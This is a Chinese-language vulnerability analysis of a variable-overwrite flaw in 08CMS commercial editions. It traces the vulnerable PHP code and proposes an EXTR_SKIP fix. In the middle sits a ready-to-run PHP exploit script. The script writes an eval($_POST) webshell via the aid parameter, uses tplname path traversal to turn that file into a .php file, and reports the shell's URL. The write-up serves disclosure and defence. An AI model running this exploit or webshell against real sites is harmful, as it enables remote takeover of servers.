目录
1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考
1. 漏洞描述
简单描述这个漏洞
1. /include/general.inc.php //本地变量注册 foreach(array(‘_POST‘,‘_GET‘) as $_request) { foreach($$_request as $k => $v) { $k{0} != ‘_‘ && $$k = maddslashes($v); } } /* 这里实现了模拟GPC功能,将用户输入的GET、POST数据中的变量注册到本地代码空间中,导致攻击者理论上可以向应用程序"注入"任意的变量值 */ 2. 通过本地变量覆盖,黑客可以控制目标应用程序将要进行的写文件操作,向网站目录下的任意位置写入任意文件
2. 漏洞触发条件
0x1: 攻击流
1. 上传一个包含WEBSHELL的非PHP文件 /* /tools/ptool.php .. $cf = M_ROOT.‘./dynamic/stats/aclicks.cac‘; $ct = M_ROOT.‘./dynamic/stats/aclicks_time.cac‘; .. if(@$fp = fopen($cf,‘a‘)) { fwrite($fp,"$aid"); fclose($fp); .. 通过注入$aid,利用程序的本地变量覆盖漏洞,向/dynamic/stats/aclicks.cac写入WEBSHELL代码 $exp = /tools/ptool.php?aid=<?php eval($_POST[a]);?> */ 2. 在第二个变量覆盖攻击点,传入这个文件路径(将要被打开的文件路径): $exp1 = /index.php?tplname=../../dynamic/stats/aclicks.cac 3. 程序打开/dynamic/stats/aclicks.cac,并重新写入到"/dynamic/stats/aclicks.cac.php"中,完成GETSHELL
0x2: POC
<?php /* exp: index.php?tplname=../../dynamic/stats/aclicks.cac 汽车CMS Shell: /dynamic/tplcache/common/....dynamicstatsaclicks.cac.php 装修CMS Shell /dynamic/dynamic/stats/aclicks.cac.php */ //$exp = /tools/ptool.php?aid=<?php eval($_POST[a]);?> $exp = ‘/tools/ptool.php?aid=%3C%3Fphp%20eval%28%24_POST%5Ba%5D%29%3B%3F%3E‘; //$exp1 = /index.php?tplname=../../dynamic/stats/aclicks.cac $exp1 = ‘/index.php?tplname=..%2f..%2fdynamic%2fstats%2faclicks.cac‘; if ($argc < 2 ) { print_r(‘ +---------------------------------------------------------------------------+ [+] php ‘.$argv[0].‘ [url]www.08sec.com[/url] +---------------------------------------------------------------------------+ ‘); exit; } error_reporting(E_ERROR); set_time_limit(0); $host = $argv[1]; go($host); function go ($host) { global $exp,$exp1; $re = Send ($host,$exp); stripos($re, "MySQL") > 0 ? Send ($host, $exp) : "" $re = Send ($host, $exp1) && stripos($re, "aclicks.cac") > 0 ? exit(" + Exploit Success!rn + http://$host/template/dynamic/stats/aclicks.cac.phprn") : exit(" - Exploit Failed!n"); } function Send($host,$url) { $data = "GET $url HTTP/1.1rn"; $data .= "Host: $hostrn"; $data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.03 [en]rn"; $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rn"; $data .= "Content-Type: application/x-www-form-urlencodedrn"; $data .= "Accept-Language: en-usrn"; $data .= "Connection: Closernrn"; $fp = @fsockopen($host, 80); if (!$fp) { die("[-] Connect to host Errorrn"); } fwrite($fp, $data); $back = ‘‘; while (!feof($fp)) { $back .= fread($fp, 1024); } fclose($fp); return $back; } ?>
Relevant Link:
http://www.unhonker.com/bug/1390.html
3. 漏洞影响范围
08CMS全部商业版
4. 漏洞代码分析
本地变量注册实现代码
/include/general.inc.php
/index.php
include_once dirname(__FILE__).‘/include/general.inc.php‘; include_once M_ROOT.‘./include/common.fun.php‘; if_siteclosed(); mobile_open() || message(‘手机版尚未开放‘); /* function un_virtual($str) { ...... $str = str_replace(array(‘/‘,‘-‘),array(‘&‘,‘=‘),$str); 把 / 和 - 替换成 & 和 = ...... return $str; } parse_str()把查询字符串解析到变量中,保存在变量$temparr中 */ parse_str(un_virtual($_SERVER[‘QUERY_STRING‘]), $temparr); ... $_da = array(); if(!$cnstr) { //$tplname这个在这里定义的了,相当于被初始化了 $tplname = $_ismobile ? $o_index_tpl : $hometpl ; $_da[‘rss‘] = $cms_abs.‘rss.php‘; $_da += $temparr; // $_da= $_da+$temparr unset($temparr);//销毁变量 //变量覆盖,这样我们可以控制了$tplname这个变量,即对它重新覆盖 extract($_da,EXTR_OVERWRITE); //这个tpl_refresh函数就是漏洞利用的关键点 tpl_refresh($tplname); ...
/include/refresh.fun.php
function tpl_refresh($tplname) { global $templatedir,$debugtag; $tdir = M_ROOT."template/$templatedir/"; //$tplname可以由攻击者控制,所以$cacf也等同于被攻击者控制 $cacf = $tdir.‘pcache/‘. $tplname.‘.php‘; if(file_exists($x = $tdir."function/utags.fun.php")) { include_once $x; } mmkdir($cacf,0,1); if($debugtag || !file_exists($cacf)) { //打开文件,返回内容 $str = load_tpl($tplname); $tpl = @file2str(M_ROOT."template/$templatedir/".$tplname); //file2str这个是打开文件的函数 $rt && $tpl = preg_replace("/{tpl\$(.+?)}/ies", "rtagval(‘\1‘,‘$rt‘)",$tpl); 过滤 $str = preg_replace("/<\?(?!php\s|=|\s)/i", ‘<?=‘<?‘?>‘, $str); $str = preg_replace("/<!--{(.+?)}-->/s", "{\1}", $str); breplace($str,‘‘); nreplace($str); quit_refresh_var(); $str = tpl_basecode($str); /* 漏洞的关键,在这里 1. $str: 攻击者可控制,这是一个.cac文件的内容,攻击者可以通过另一个变量覆盖向服务器写入一个.cac的WEBSHELL 2. $cacf: 攻击者可控制,攻击者传入的参数是一个非PHP文件路径(.cac文件),这个文件也是真实存在的,可以通过另一个变量注入上传一个.cac文件,同时,程序在末尾拼接了".php",使其成为写一个PHP文件 从结果上来看,相当于进行了一次.cac到.php的后缀重命名处理 */ str2file($str, $cacf); } unset($str,$tdir,$cacf); }
5. 防御方法
/index.php
if(!$cnstr) { //$tplname这个在这里定义的了,相当于被初始化了 $tplname = $_ismobile ? $o_index_tpl : $hometpl ; $_da[‘rss‘] = $cms_abs.‘rss.php‘; $_da += $temparr; // $_da= $_da+$temparr unset($temparr);//销毁变量 /* 如果对应变量已经存在,则不进行覆盖操作 */ extract($_da, EXTR_SKIP); tpl_refresh($tplname); ...
6. 攻防思考
防御变量覆盖的防御思路
1. 重新运行一次原始的代码逻辑,将被覆盖的变量再赋值回原始的值 2. 在本地变量注册的入口处对关键字进行检测
Copyright (c) 2014 LittleHann All rights reserved
时间: 2024-10-29 04:15:19